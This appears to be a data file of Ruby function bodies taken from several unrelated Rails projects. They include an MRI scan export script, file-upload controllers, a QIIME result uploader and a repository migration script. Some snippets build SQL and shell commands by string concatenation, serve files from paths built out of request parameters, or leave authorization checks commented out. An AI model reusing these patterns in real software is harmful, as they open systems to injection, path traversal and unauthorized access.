evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")+\"')\n and v.id in (select spvg.vgroup_id from scan_procedures_vgroups spvg where spvg.scan_procedure_id ='\"+r[1].to_s+\"')\"\n \n results_vgroup = connection.execute(sql_vgroup)\n\n # mkdir /tmp/hyunwoo_20140520_upload/[subjectid]_YYYYMMDD_wisc\n v_subject_dir = r[0]+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"mkdir \"+v_parent_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and LOWER(image_datasets.series_description) = LOWER(series_description_maps.series_description)\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1_Volumetric') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")+\"')\n and vgroups.id in (select spvg.vgroup_id from scan_procedures_vgroups spvg where spvg.scan_procedure_id ='\"+r[1].to_s+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/hyunwoo_20140520_upload/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n sql_status = \"select status_flag from cg_hyunwoo_20140520 where subjectid ='\"+r[0]+\"'\"\n results_status = connection.execute(sql_status)\n if v_scan_desc_type_array.size < 1 and (results_status.first)[0] != \"R\"\n # sql_dirlist = \"update cg_hyunwoo_20140520 set general_comment =' NOT ALL SCAN TYPES!!!! \"+v_folder_array.join(\", \")+\"' where subjectid ='\"+r[0]+\"' \"\n # results_dirlist = connection.execute(sql_dirlist)\n sql_status = \"update cg_hyunwoo_20140520 set status_flag ='N' where subjectid ='\"+r[0]+\"' \"\n results_sent = connection.execute(sql_status)\n # send email \n v_subject = \"hyunwoo_20140520_upload \"+r[0]+\" is missing some scan types --- set status_flag ='R' to send : scans =\"+v_folder_array.join(\", \")\n v_email = \"noreply_johnson_lab@medicine.wisc.edu\"\n PandaMailer.schedule_notice(v_subject,{:send_to => v_email}).deliver\n\n # mail(\n # :from => \"noreply_johnson_lab@medicine.wisc.edu\"\n # :to => \"noreply_johnson_lab@medicine.wisc.edu\", \n # :subject => v_subject\n # )\n PandaMailer.schedule_notice(v_subject,{:send_to => \"noreply_johnson_lab@medicine.wisc.edu\"}).deliver\n v_comment_warning = v_comment_warning+\" \"+v_scan_desc_type_array.size.to_s+\" scan type \"+r[0]\n v_call = \"rm -rf \"+v_parent_dir_target\n # puts \"BBBBBBBB \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end \n stdin.close\n stdout.close\n stderr.close\n else\n\n sql_dirlist = \"update cg_hyunwoo_20140520 set dir_list ='\"+v_folder_array.join(\", \")+\"' where subjectid ='\"+r[0]+\"' \"\n results_dirlist = connection.execute(sql_dirlist)\n # TURN INTO A LOOP\n v_dicom_field_array =['0010,0030','0010,0010']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n Dir.glob(v_parent_dir_target+'/*/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n #### end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n v_call = \"rsync -av \"+v_parent_dir_target+\" panda_user@\"+v_computer+\".dom.wisc.edu:/home/panda_user/upload_hyunwoo_20140520/\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n #v_call = \"zip -r \"+v_target_dir+\"/\"+v_subject_dir+\".zip \"+v_parent_dir_target\n #v_call = \"cd \"+v_target_dir+\"; zip -r \"+v_subject_dir+\" \"+v_subject_dir # ??????? PROBLEM HERE????\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" tar -C /home/panda_user/upload_hyunwoo_20140520 -zcf /home/panda_user/upload_hyunwoo_20140520/'+v_subject_dir+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n puts \"bbbbbbb \"+v_call\n\n v_call = ' rm -rf '+v_target_dir+'/'+v_subject_dir\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # \n v_call = 'ssh panda_user@'+v_computer+'.dom.wisc.edu \" rm -rf /home/panda_user/upload_hyunwoo_20140520/'+v_subject_dir+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n # did the tar.gz on \"+v_computer+\" to avoid mac acl PaxHeader extra directories\n v_call = \"rsync -av panda_user@\"+v_computer+\".dom.wisc.edu:/home/panda_user/upload_hyunwoo_20140520/\"+v_subject_dir+\".tar.gz \"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n v_call = \" rm -rf \"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close \n\n sql_sent = \"update cg_hyunwoo_20140520 set done_flag ='Y' where subjectid ='\"+r[0]+\"' \"\n results_sent = connection.execute(sql_sent)\n end\n v_comment = \"end \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save \n end\n\n @schedulerun.comment =(\"successful finish hyunwoo_20140520_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save \n\n\n end", "def perform(filepath)\n\n end", "def songs\n<<<<<<< HEAD\n file=\"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\"\n if File.exists?(file)\n send_file(\n file,\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n else\n render nothing: true\n end\n=======\n send_file(\n \"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\",\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n>>>>>>> b71dc3f177d170c9fc8bde7924fd28f948e88acc\n end", "def create\n\n #for plupload rename \"file\" to expected \"document[data]\" \n if(params[:file])\n params[:user_document] = params[:file]\n end\n\n @user = current_user\n @profile = @user.profile\n @user_document = @user.documents.create(:document=>params[:user_document])\n\n begin\n\n if @user_document.save\n\n unless @profile.document_links.has_key?(:profile_document)\n @profile.document_links.merge!(:profile_document => @user_document.id)\n @profile.save\n end\n\n respond_to do |format|\n format.json { render :json => [:document_gallery_item_id => @user_document.id, :created_document_url => @user_document.document.url(:large), :document_gallery_item => view_context.document_gallery_item_editable(@user_document)], :status => :ok }\n end\n\n else\n respond_to do |format|\n #format.html { redirect_to(edit_profile_url(@profile), :notice => 'There was an issue with video upload. Please try again') }\n format.json { render :json => [:error_message => 'conversion failure'], :status => :ok }\n end\n end\n\n rescue Paperclip::Errors::NotIdentifiedByImageMagickError\n respond_to do |format|\n #format.html { redirect_to(edit_profile_url(@profile), :notice => 'There was an issue with video upload. Please try again') }\n format.json { render :json => [:error_message => 'cannot convert filetype'], :status => :ok }\n end\n end\n\n end", "def before_save \n \n #\n # upload bundle image\n #\n if( @uploadfile )\n \n # clean up first all existing image files\n [\"jpeg\", \"gif\", \"png\"].each do |ext| \n f = fq_bundle_image_filename( ext )\n if File.exists?(f) \n File.delete(f)\n end\n end\n \n # write the upload file\n extention = @uploadfile.content_type.gsub(/^image\\//, '').downcase.chomp\n out = File.open( fq_bundle_image_filename( extention ), \"w\" )\n out.write( @uploadfile.read )\n out.close\n \n # integrate link in description\n desc = self.description \n # filter operations can be inserted later on\n updated_img_lnk = \"[[File:#{bundle_resouce_file_name}.#{extention}]]\"\n desc = desc.gsub( /\\[\\[file:.*?\\.((jpeg)|(jpg)|(png)|(gif))\\]\\]/i, updated_img_lnk )\n if( ! $~ )\n # if not already matched add link tag to the end of the description field\n desc << \"\\n\" + updated_img_lnk\n end\n self.description = desc\n end\n\n\n #\n # copy prompt sample for bundle description (/upload/audio)\n #\n if( @sample_file_id )\n audio_source = AudioSource.find_by_file_id( @sample_file_id, :conditions => { :bundle_source_id=>self.id } )\n logger.info( @sample_file_id )\n if( audio_source )\n # copy file\n audio_source = audio_source.fq_mp3_filename\n audio_target = \"public/upload/audio/\" + bundle_resouce_file_name + \".mp3\"\n \n %x[cp #{audio_source} #{audio_target}]\n sample_prompt_file_tag = \"[[File:#{bundle_resouce_file_name}.mp3]]\"\n \n # integrate prompt sample in description\n desc = self.description\n desc = desc.gsub( /\\[\\[file:.*?\\.((mp3))\\]\\]/i, sample_prompt_file_tag )\n\n if( ! $~ )\n # if not already matched add link tag to the end of the description field\n desc << \"\\n\" +sample_prompt_file_tag\n end\n \n self.description = desc \n end\n end\n\n end", "def upload\n file = params[:file].original_filename\n activity = file.sub(/\\..*$/,'')\n path = RAILS_ROOT + \"/public/data/\" + activity\n Dir.mkdir path\n datapath = path + \"/data/\"\n Dir.mkdir datapath\n basename = datapath + activity\n smi = File.open(\"#{basename}.smi\",\"w\")\n cl = File.open(\"#{basename}.class\",\"w\")\n params[:file].read.each do |line|\n items = line.split(/\\s+/)\n smi.puts \"#{items[0]}\\t#{items[1]}\"\n cl.puts \"#{items[0]}\\t#{activity}\\t#{items[2]}\"\n end\n if LazarCategory.find_by_name(\"Uploads\").blank?\n cat = LazarCategory.create(:name => \"Uploads\")\n else\n cat = LazarCategory.find_by_name(\"Uploads\")\n end\n LazarModule.create(:endpoint => activity, :directory => path, :lazar_category => cat)\n redirect_to :action => :search\n end", "def send_file_info(last, path)\n if not last == nil\n user = current_user\n path = path.force_encoding(\"UTF-8\")\n @file_names = \"#{path.split('/').last}\" + \"\\n\"\n @access_url = \"#{HOSTING_URL}\" + \"/user_files/\"+ \"#{user.userid}\" + path.force_encoding(\"UTF-8\") \n \n else\n @file_names = \"error\"\n @access_url = \"\"\n end\n puts_message \"send_file_info end\" \n end", "def create\n # if cannot? :create, Derivative\n # flash[:notice] = \"You do not have sufficient privileges to add derivative files\"\n # redirect_to root_path \n # return\n # end\n\n masterfile = MasterFile.find(params[:master])\n# if cannot? :edit, masterfile.container.pid\n# flash[:notice] = \"You do not have sufficient privileges to add derivative files\"\n# redirect_to root_path\n# return\n# end\n\n derivative = Derivative.new\n derivative.source = masterfile.source\n derivative.url = params[:stream_url]\n derivative.save\n derivative.masterfile = masterfile\n masterfile.save\n derivative.save\t\t\n end", "def upload_file\n #TODO\n end", "def upload\n begin\n apicaller =ApiCaller.new(@hostOutput,\"\",@user,@pass)\n restPath = @pathOutput\n \n \n ##uplaoding otu table\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/otu.table/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/otu_table.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded otu_table.txt \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n \n ##uplaoding phylogenetic tarred files\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/phylogenetic.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/phylogenetic.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded phylogenetic.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uplaoding taxanomy tarred files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/taxanomy.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/taxanomy.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded taxanomy.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading fasta files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fasta.result.tar.gz \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading plots files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/plots.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/plots.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded plots.result.tar.gz plots\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end \n \n #uploading raw results file back\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/raw.results.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/raw.results.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded raw.results.tar.gz \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n #uploading metadata file back\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/sample.metadata/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/metadata.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded metadata file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading json setting file\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/settings.json/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@scratch}/jobFile.json\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded jsonfile file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading mapping.txt file\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/mapping.txt/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/mapping.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded mapping.txt file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n end\n \n end", "def set_filetypes\n #unless params[:id] == 'download' || params == :file\n @filetype = Filetype.find(params[:id])\n # end\n end", "def migrate_undergraduate_paper(path, content_server_url, collection_mapping_doc_path, user) \r\nresult = 1 # default is fail\r\nmfset = Object::FileSet.new # FILESET. # define this at top because otherwise expects to find it in CurationConcerns module . (app one is not namespaced)\r\ncommon = CommonMigrationMethods.new\r\nputs \"migrating a ug_paper with content url\"\t\r\n\tfoxmlpath = path\t\r\n\t# enforce UTF-8 compliance when opening foxml file\r\n\tdoc = File.open(path){ |f| Nokogiri::XML(f, Encoding::UTF_8.to_s)}\r\n\t# doesnt resolve nested namespaces, this fixes that\r\n ns = doc.collect_namespaces\t\t\t\t\r\n\t\r\n\t# establish parent collection - map old to new from mappings file\r\n\tcollection_mappings = {}\r\n\tmapping_text = File.read(collection_mapping_doc_path)\r\n\tcsv = CSV.parse(mapping_text)\r\n\tcsv.each do |line| \r\n\t\told_id = line[0]\r\n\t\tnew_id = line[2]\t\t\r\n\t\tcollection_mappings[old_id] = new_id\r\n\tend\r\n\t\r\n\t# make sure we have current rels-ext version\r\n\trels_nums = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion/@ID\",ns)\t\r\n\trels_all = all = rels_nums.to_s\r\n\tcurrent_rels = rels_all.rpartition('.').last \r\n\trels_current_version = 'RELS-EXT.' + current_rels\r\n\tuntrimmed_former_parent_pid = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion[@ID='#{rels_current_version}']/foxml:xmlContent/rdf:RDF/rdf:Description/rel:isMemberOf/@rdf:resource\",ns).to_s\t\r\n\t# remove unwanted bits \r\n\tformer_parent_pid = untrimmed_former_parent_pid.sub 'info:fedora/york', 'york'\r\n\tparentcol = collection_mappings[former_parent_pid]\r\n\t# find max dc version\r\n\tnums = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tall = nums.to_s\r\n\tcurrent = all.rpartition('.').last \r\n\tcurrentVersion = 'DC.' + current\r\n\t\r\n\t# find the max THESIS_MAIN or EXAM_PAPER version\r\n\tmainDocFound=\"\"\r\n\t#check for one or the other with an active state A\r\n\tmainDocFound = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN'][@STATE='A']/@VERSIONABLE\",ns).to_s\r\n\tif mainDocFound.length > 0\r\n\t main_resource_id = \"THESIS_MAIN\"\r\n\telse\r\n\t\tmainDocFound = doc.xpath(\"//foxml:datastream[@ID='EXAM_PAPER'][@STATE='A']/@VERSIONABLE\",ns).to_s\r\n\t\tif mainDocFound.length > 0 \r\n\t\t\tmain_resource_id = \"EXAM_PAPER\"\r\n\t\tend\r\n\tend\t\r\n\tif mainDocFound.length > 0 && main_resource_id == \"THESIS_MAIN\"\r\n\t\tpaper_nums = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion/@ID\",ns)\t\r\n\telsif mainDocFound.length > 0 && main_resource_id == \"EXAM_PAPER\"\r\n\t\tpaper_nums = doc.xpath(\"//foxml:datastream[@ID='EXAM_PAPER']/foxml:datastreamVersion/@ID\",ns)\r\n\telse\r\n\t#do nothing. apparently there are some in the live system without any main file\r\n\t\t#result = 2 # this will trigger putting a specific message into the tracking file\r\n\t\t#return \r\n\tend\t\r\n\tif mainDocFound.length > 0\r\n\t\tpaper_all = paper_nums.to_s\r\n\t\tpaper_current = paper_all.rpartition('.').last\r\n\t\tcurrentPaperVersion = main_resource_id + '.' + paper_current\r\n\t\t# GET CONTENT - get the location of the pdf as a string\r\n\t\t#pdf_loc = \tdoc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion[@ID='#{currentPaperVersion}']/foxml:contentLocation/@REF\",ns).to_s\t\r\n\t\tpdf_loc = doc.xpath(\"//foxml:datastream[@ID='\" + main_resource_id + \"']/foxml:datastreamVersion[@ID='#{currentPaperVersion}']/foxml:contentLocation/@REF\",ns).to_s\r\n\t\t# CONTENT FILES\t\r\n\t\texternalpdfurl = pdf_loc.sub 'http://local.fedora.server', content_server_url \r\n\t\texternalpdflabel = main_resource_id #default\r\n\t\t# actual label for gui display may be different\r\n\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='\" + main_resource_id + \"']/foxml:datastreamVersion[@ID='#{currentPaperVersion}']/@LABEL\",ns).to_s \r\n\t\tif label.length > 0\r\n\t\t\texternalpdflabel = label \r\n\t\tend\r\n\tend\r\n# hash for any THESIS_ADDITIONAL URLs. needs to be done here rather than later to ensure we obtain overridden version og FileSet class rather than CC as local version not namespaced\r\n#not needed for any yet. uncomment if live ingest contains any with additional resources and edit accordingly\r\n=begin\r\n additional_filesets = {}\t\r\n\telems = doc.xpath(\"//foxml:datastream[@ID]\",ns)\r\n\telems.each { |id| \r\n\t\tidname = id.attr('ID')\t\t\r\n\t\tif idname.start_with?('THESIS_ADDITIONAL')\r\n\t\tidstate = id.attr('STATE')\r\n\t\tif idstate == \"A\"\r\n\t\t\tversion_nums = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion/@ID\",ns)\r\n\t\t\tcurrent_version_num = version_nums.to_s.rpartition('.').last\r\n\t\t\tcurrent_version_name = idname + '.' + current_version_num\r\n\t\t\taddit_file_loc = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/foxml:contentLocation/@REF\",ns).to_s\r\n\t\t\taddit_file_loc = addit_file_loc.sub 'http://local.fedora.server', content_server_url\r\n\t\t\tfileset = Object::FileSet.new\r\n\t\t\tfileset.filetype = 'externalurl'\r\n\t\t\tfileset.external_file_url = addit_file_loc\r\n\t\t\tfileset.title = [idname]\r\n\t\t\t# may have a label - needed for display- that is different to the datastream title\r\n\t\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/@LABEL\",ns).to_s \r\n\t\t\tif label.length > 0\r\n\t\t\tfileset.label = label\r\n\t\t\tend\r\n\t\t\tfileset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tfileset.depositor = \"ps552@york.ac.uk\"\r\n\t\t\tadditional_filesets[idname] = fileset\r\n\t\t\tend\r\n\t\tend\r\n\t}\r\n=end #coz there dont seem to be any in this collection\r\n\t\t\r\n\t# create a new thesis implementing the dlibhydra models\r\n\tug_paper = Object::Thesis.new #we have decided to use this model\r\n\t# once depositor and permissions defined, object can be saved at any time\r\n\tug_paper.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tug_paper.depositor = user\r\n\t\r\n\t# start reading and populating data\r\n\ttitle = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:title/text()\",ns).to_s\r\n\ttitle = title.to_s\r\n\ttitle.gsub!(\"&amp;\",\"&\")\r\n\t\r\n\tug_paper.title = [title]\t# 1 only\r\n\tformer_id = doc.xpath(\"//foxml:digitalObject/@PID\",ns).to_s\r\n\tif former_id.length > 0\r\n\t\tug_paper.former_id = [former_id]\r\n\tend\r\n\t\r\n\t# file to list what its starting work on as a cleanup tool. doesnt matter if it doesnt get this far as there wont be anything to clean up\r\n\ttname = \"ug_tracking.txt\"\r\n\ttrackingfile = File.open(tname, \"a\")\r\n\ttrackingfile.puts( \"am now working on \" + former_id + \" title:\" + title )\r\n\ttrackingfile.close\t\r\n\tcreators = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:creator/text()\",ns).each do |c|\r\n\t\tcreator = c.to_s\r\n\t\tcreators.push(creator)\r\n\tend\r\n\t#may not always be present \r\n\tcreators.each do |creator|\r\n\t\tcreator.gsub!(\"&amp;\",\"&\") #unlikely but no harm done - could be group projects\r\n\t\tug_paper.creator_string += [creator] # now multivalued\r\n\tend\r\n\t# essays and projects have a description rather than an abstract optional field so test presence\r\n\tpaper_descriptions = 